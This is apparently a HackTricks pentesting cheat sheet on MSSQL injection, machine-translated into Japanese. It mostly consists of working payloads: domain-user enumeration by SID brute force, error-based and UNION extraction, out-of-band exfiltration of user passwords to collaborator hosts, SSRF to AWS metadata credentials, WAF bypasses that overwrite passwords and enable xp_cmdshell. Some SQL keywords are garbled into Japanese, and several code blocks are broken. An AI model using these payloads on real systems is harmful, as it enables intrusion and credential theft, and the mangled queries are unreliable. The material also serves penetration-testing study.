MSSQLインジェクション

Reading time: 12 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Active Directory列挙

次のMSSQL関数を使用して、MSSQLサーバー内でSQLインジェクションを介してドメインユーザーを列挙することが可能です:

  • SELECT DEFAULT_DOMAIN(): 現在のドメイン名を取得します。
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): ドメイン名(この例では_DOMAIN_)がわかっている場合、この関数はユーザーAdministratorのSIDを16進数形式で返します。これは0x01050000000[...]0000f401のように見えます。最後の4バイトビッグエンディアン形式で500という数値であり、これはユーザーadministratorの一般的なIDです。
    この関数を使用すると、ドメインのIDを知ることができます(最後の4バイトを除くすべてのバイト)。
  • SUSER_SNAME(0x01050000000[...]0000e803) : この関数は、指定されたIDのユーザー名を返します(存在する場合)、この場合0000e803はビッグエンディアンで== 1000(通常、これは最初に作成された通常のユーザーIDのIDです)。次に、1000から2000までのユーザーIDをブルートフォースして、ドメインのユーザーのすべてのユーザー名を取得できると想像できます。たとえば、次のような関数を使用して:
python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

代替エラーベースのベクター

エラーベースのSQLインジェクションは通常、+AND+1=@@version--のような構文や「OR」演算子に基づくバリエーションに似ています。このような式を含むクエリは通常、WAFによってブロックされます。バイパスとして、%2b文字を使用して、求められるデータに対してデータ型変換エラーを引き起こす特定の関数呼び出しの結果と文字列を連結します。

このような関数のいくつかの例:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

関数USER_NAME()の使用例:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

これらのSSRFトリックはここから取得されました

fn_xe_file_target_read_file

サーバー上で**VIEW SERVER STATE**権限が必要です。

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

CONTROL SERVER 権限が必要です。

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

CONTROL SERVER 権限が必要です。

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

xp_dirtreeのようなストアドプロシージャは、Microsoftによって公式に文書化されていないものの、MSSQL内でのネットワーク操作における有用性から、他の人々によってオンラインで説明されています。これらのプロシージャは、さまざまな投稿で示されているように、Out of Band Data exfiltrationでよく使用されます。

例えば、xp_dirtreeストアドプロシージャはネットワークリクエストを行うために使用されますが、TCPポート445のみに制限されています。ポート番号は変更できませんが、ネットワーク共有からの読み取りを許可します。使用法は以下のSQLスクリプトで示されています:

sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

この方法は、Windows Server 2016 Datacenter上でデフォルト設定で動作しているMicrosoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)など、すべてのシステム構成で機能しない可能性があることに注意が必要です。

さらに、master..xp_fileexistxp_subdirsのような代替ストアドプロシージャも、同様の結果を得ることができます。xp_fileexistに関する詳細は、このTechNet記事で確認できます。

xp_cmdshell

明らかに、xp_cmdshellを使用してSSRFを引き起こす何かを実行することもできます。詳細については、ページの関連セクションを読む

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

CLR UDF(共通言語ランタイムユーザー定義関数)を作成することは、任意の.NET言語で作成され、DLLにコンパイルされたコードをMSSQL内でカスタム関数を実行するためにロードするプロセスであり、dboアクセスが必要です。これは通常、データベース接続がsaまたは管理者ロールで行われる場合にのみ実行可能です。

バイナリをCLRアセンブリとしてMSSQLにロードするためのVisual Studioプロジェクトとインストール手順は、このGithubリポジトリに提供されており、これによりMSSQL内からHTTP GETリクエストを実行できるようになります。

この機能の核心は、http.csファイルにカプセル化されており、WebClientクラスを使用してGETリクエストを実行し、以下のようにコンテンツを取得します:

csharp
using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

CREATE ASSEMBLY SQLコマンドを実行する前に、次のSQLスニペットを実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加することをお勧めします(select * from sys.trusted_assemblies;で表示可能):

sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

アセンブリを正常に追加し、関数を作成した後、次のSQLコードを使用してHTTPリクエストを実行できます:

sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

クイックエクスプロイト: 単一クエリでテーブル全体の内容を取得する

Trick from here.

単一クエリでテーブルの全内容を抽出する簡潔な方法は、FOR JSON句を利用することです。このアプローチは、特定のモード「raw」を必要とするFOR XML句を使用するよりも簡潔です。FOR JSON句は、その簡潔さから好まれます。

現在のデータベースからスキーマ、テーブル、およびカラムを取得する方法は次のとおりです:

`sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`</span></div>

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

WAF Bypass with unorthodox stacked queries

According to this blog post it's possible to stack queries in MSSQL without using ";":

SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

使用 [tempdb]
テーブル [test] を作成 ([id] int)
[テスト] に値を挿入 (1)
[テスト] から [id] を選択
テーブル [test] を削除

Can be reduced to:

使用[tempdb]作成/**/テーブル[test]([id]int)挿入[test]値(1)選択[id]から[test]削除/**/テーブル[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# 無駄な exec() を最後に追加し、WAF にこれが有効なクエリではないと思わせる
admina'union select 1,'admin','testtest123'exec('select 1')--
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# 奇妙に構築されたクエリの使用
admin'exec('update[users]set[password]=''a''')--
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# または xp_cmdshell を有効にする
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## これは次のようになります
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--